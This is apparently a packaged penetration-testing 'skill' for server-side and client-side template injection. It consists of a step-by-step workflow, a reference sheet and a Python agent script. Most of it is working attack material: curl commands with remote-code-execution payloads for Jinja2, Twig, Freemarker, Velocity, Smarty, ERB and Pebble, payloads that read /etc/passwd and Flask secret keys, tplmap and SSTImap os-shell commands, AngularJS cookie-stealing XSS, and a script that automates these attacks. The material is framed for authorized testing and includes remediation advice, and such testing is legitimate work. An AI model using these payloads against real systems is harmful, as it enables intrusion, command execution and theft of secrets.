npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests when user input is rendered through a server-side template engine
- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
- For assessing applications that allow users to customize templates or notification messages
- When identifying potential SSTI in parameters that reflect arithmetic results (e.g.,
{{7*7}}returns49) - During security assessments of CMS platforms, marketing tools, or any application with templating functionality
Prerequisites
- Authorization: Written penetration testing agreement with RCE testing scope
- Burp Suite Professional: For intercepting and modifying template parameters
- tplmap: Automated SSTI exploitation tool (
git clone https://github.com/epinna/tplmap.git) - SSTImap: Modern SSTI scanner (
pip install sstimap) - curl: For manual SSTI payload testing
- Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
Workflow
Step 1: Identify Template Injection Points
Find parameters where user input is processed by a template engine.
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present
# Universal detection payloads
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templatesStep 2: Identify the Template Engine
Determine which template engine is in use to select the appropriate exploitation technique.
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask
# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker
# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity
# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty
# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble
# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"Step 3: Exploit Jinja2 (Python/Flask)
Achieve code execution through Jinja2 template injection.
# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"
# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines
Use engine-specific payloads for exploitation.
# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"
# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"Step 5: Automate with tplmap and SSTImap
Use automated tools for comprehensive testing and exploitation.
# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class namesStep 6: Test Client-Side Template Injection (CSTI)
Assess for Angular/Vue/React expression injection in client-side templates.
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
doneKey Concepts
| Concept | Description |
|---|---|
| SSTI | Server-Side Template Injection - injecting template directives that execute server-side |
| CSTI | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
| Template Engine | Software that processes template files with placeholders, replacing them with data |
| Sandbox Escape | Bypassing template engine security restrictions to access dangerous functions |
| MRO (Method Resolution Order) | Python class hierarchy traversal used in Jinja2 exploitation |
| Object Introspection | Using __class__, __subclasses__(), __globals__ to navigate Python objects |
| Blind SSTI | Template injection where output is not directly visible, requiring OOB techniques |
Tools & Systems
| Tool | Purpose |
|---|---|
| tplmap | Automated SSTI detection and exploitation with OS shell capability |
| SSTImap | Modern SSTI scanner with support for multiple template engines |
| Burp Suite Professional | Request interception and Intruder for payload fuzzing |
| Hackvertor (Burp Extension) | Payload encoding and transformation for bypass techniques |
| PayloadsAllTheThings | Comprehensive SSTI payload reference on GitHub |
| OWASP ZAP | Automated SSTI detection in active scanning mode |
Common Scenarios
Scenario 1: Flask Email Template Injection
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through {{config.items()}} and subclass traversal.
Scenario 2: Java CMS Freemarker Injection
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.
Scenario 3: Error Page SSTI
A custom 404 error page reflects the requested URL path through a Twig template. Requesting /{{['id']|filter('system')}} causes the server to execute the id command.
Scenario 4: AngularJS Client-Side Injection
A search page renders results using AngularJS with ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.
Output Format
## Template Injection Finding
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application userReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.7 KB
API Reference: SSTI Detection Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP client for sending template injection payloads |
CLI Usage
python scripts/agent.py --url "https://target.com/page" --param name --method GET --output ssti.jsonFunctions
test_ssti_detection(url, param, method, headers) -> list
Tests 7 engine-specific payloads ({{7*7}}, ${7*7}, etc.) and checks if 49 appears in the response.
identify_engine(url, param, method, headers) -> dict
Differentiates engines: {{7*'7'}} returning 7777777 = Jinja2, 49 = Twig. Also tests Freemarker (${.now}) and Velocity.
test_jinja2_rce(url, param, method, headers) -> list
Tests cycler.__init__.__globals__.os.popen, lipsum.__globals__, and config.SECRET_KEY disclosure.
test_twig_rce(url, param, method, headers) -> list
Tests filter('system') and file_excerpt payloads.
test_freemarker_rce(url, param, method, headers) -> list
Tests freemarker.template.utility.Execute for Java command execution.
run_assessment(url, param, method) -> dict
Runs detection, identifies engine, then tests engine-specific RCE payloads.
Detection Payloads
| Engine | Payload | Expected |
|---|---|---|
| Jinja2/Twig | {{7*7}} |
49 |
| Freemarker | ${7*7} |
49 |
| ERB/EJS | <%= 7*7 %> |
49 |
| Smarty | {7*7} |
49 |
| Velocity | #set($x=7*7)$x |
49 |
Output Schema
{
"target": "https://target.com/page",
"parameter": "name",
"vulnerable": true,
"engine": {"engine": "Jinja2", "language": "Python"},
"rce_tests": [{"name": "cycler_popen", "rce_confirmed": true}]
}Scripts 1
agent.py7.8 KB
#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""Server-Side Template Injection (SSTI) detection agent using requests."""
import argparse
import json
import logging
import sys
import urllib.parse
from typing import List, Optional
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
DETECTION_PAYLOADS = {
"jinja2_twig": {"payload": "{{7*7}}", "expected": "49"},
"freemarker": {"payload": "${7*7}", "expected": "49"},
"thymeleaf": {"payload": "#{7*7}", "expected": "49"},
"erb_ejs": {"payload": "<%= 7*7 %>", "expected": "49"},
"smarty": {"payload": "{7*7}", "expected": "49"},
"velocity": {"payload": "#set($x=7*7)$x", "expected": "49"},
"dotjs": {"payload": "{{= 7*7}}", "expected": "49"},
}
ENGINE_FINGERPRINTS = {
"jinja2": {"payload": "{{7*'7'}}", "expected": "7777777"},
"twig": {"payload": "{{7*'7'}}", "expected": "49"},
"freemarker_confirm": {"payload": "${.now}", "match_pattern": r"\d{4}"},
"flask_config": {"payload": "{{config}}", "match_pattern": r"SECRET_KEY|DEBUG"},
}
def test_ssti_detection(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> List[dict]:
"""Test all detection payloads against a parameter."""
results = []
for engine, test in DETECTION_PAYLOADS.items():
payload = test["payload"]
expected = test["expected"]
resp = _send_payload(url, param, payload, method, headers)
found = expected in resp.text
results.append({
"engine_hint": engine,
"payload": payload,
"expected": expected,
"found_in_response": found,
"status_code": resp.status_code,
})
if found:
logger.warning("SSTI detected with %s payload: %s", engine, payload)
return results
def identify_engine(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> dict:
"""Identify the specific template engine in use."""
import re
resp_jinja = _send_payload(url, param, "{{7*'7'}}", method, headers)
if "7777777" in resp_jinja.text:
return {"engine": "Jinja2", "language": "Python", "framework": "Flask/Django"}
if "49" in resp_jinja.text:
return {"engine": "Twig", "language": "PHP", "framework": "Symfony/Laravel"}
resp_fm = _send_payload(url, param, "${.now}", method, headers)
if re.search(r"\d{4}", resp_fm.text):
return {"engine": "Freemarker", "language": "Java", "framework": "Spring"}
resp_config = _send_payload(url, param, "{{config}}", method, headers)
if "SECRET_KEY" in resp_config.text or "DEBUG" in resp_config.text:
return {"engine": "Jinja2", "language": "Python", "framework": "Flask"}
resp_velocity = _send_payload(url, param, "#set($x=42)$x", method, headers)
if "42" in resp_velocity.text:
return {"engine": "Velocity", "language": "Java", "framework": "Apache Velocity"}
return {"engine": "unknown"}
def test_jinja2_rce(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> List[dict]:
"""Test Jinja2 RCE payloads."""
payloads = [
{"name": "cycler_popen", "payload": "{{cycler.__init__.__globals__.os.popen('id').read()}}"},
{"name": "lipsum_popen", "payload": '{{lipsum.__globals__["os"].popen("id").read()}}'},
{"name": "config_items", "payload": "{{config.items()}}"},
{"name": "secret_key", "payload": "{{config.SECRET_KEY}}"},
]
results = []
for p in payloads:
resp = _send_payload(url, param, p["payload"], method, headers)
has_output = (
"uid=" in resp.text or "SECRET_KEY" in resp.text or
"root" in resp.text or len(resp.text) > 500
)
results.append({
"name": p["name"],
"payload": p["payload"],
"status_code": resp.status_code,
"rce_confirmed": "uid=" in resp.text,
"info_leak": "SECRET_KEY" in resp.text or "config" in resp.text.lower(),
"response_preview": resp.text[:200],
})
return results
def test_twig_rce(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> List[dict]:
"""Test Twig (PHP) RCE payloads."""
payloads = [
{"name": "filter_system", "payload": "{{['id']|filter('system')}}"},
{"name": "file_excerpt", "payload": "{{'/etc/passwd'|file_excerpt(1,5)}}"},
]
results = []
for p in payloads:
resp = _send_payload(url, param, p["payload"], method, headers)
results.append({
"name": p["name"],
"payload": p["payload"],
"status_code": resp.status_code,
"rce_confirmed": "uid=" in resp.text or "root:" in resp.text,
"response_preview": resp.text[:200],
})
return results
def test_freemarker_rce(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> List[dict]:
"""Test Freemarker (Java) RCE payloads."""
payloads = [
{"name": "execute_class",
"payload": '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'},
]
results = []
for p in payloads:
resp = _send_payload(url, param, p["payload"], method, headers)
results.append({
"name": p["name"],
"status_code": resp.status_code,
"rce_confirmed": "uid=" in resp.text,
"response_preview": resp.text[:200],
})
return results
def _send_payload(url: str, param: str, payload: str, method: str = "GET",
headers: Optional[dict] = None) -> requests.Response:
h = headers or {}
encoded = urllib.parse.quote(payload)
try:
if method.upper() == "GET":
sep = "&" if "?" in url else "?"
return requests.get(f"{url}{sep}{param}={encoded}", headers=h,
timeout=10, verify=False)
else:
return requests.post(url, data={param: payload}, headers=h,
timeout=10, verify=False)
except requests.RequestException:
return type("R", (), {"status_code": 0, "text": "", "content": b""})()
def run_assessment(url: str, param: str, method: str = "GET") -> dict:
"""Run complete SSTI assessment."""
detection = test_ssti_detection(url, param, method)
vulnerable = any(d["found_in_response"] for d in detection)
result = {
"target": url, "parameter": param, "vulnerable": vulnerable,
"detection_results": detection,
}
if vulnerable:
engine = identify_engine(url, param, method)
result["engine"] = engine
if engine.get("engine") == "Jinja2":
result["rce_tests"] = test_jinja2_rce(url, param, method)
elif engine.get("engine") == "Twig":
result["rce_tests"] = test_twig_rce(url, param, method)
elif engine.get("engine") == "Freemarker":
result["rce_tests"] = test_freemarker_rce(url, param, method)
return result
def main():
parser = argparse.ArgumentParser(description="SSTI Detection Agent")
parser.add_argument("--url", required=True, help="Target URL")
parser.add_argument("--param", required=True, help="Parameter to test")
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
parser.add_argument("--output", default="ssti_report.json")
args = parser.parse_args()
report = run_assessment(args.url, args.param, args.method)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()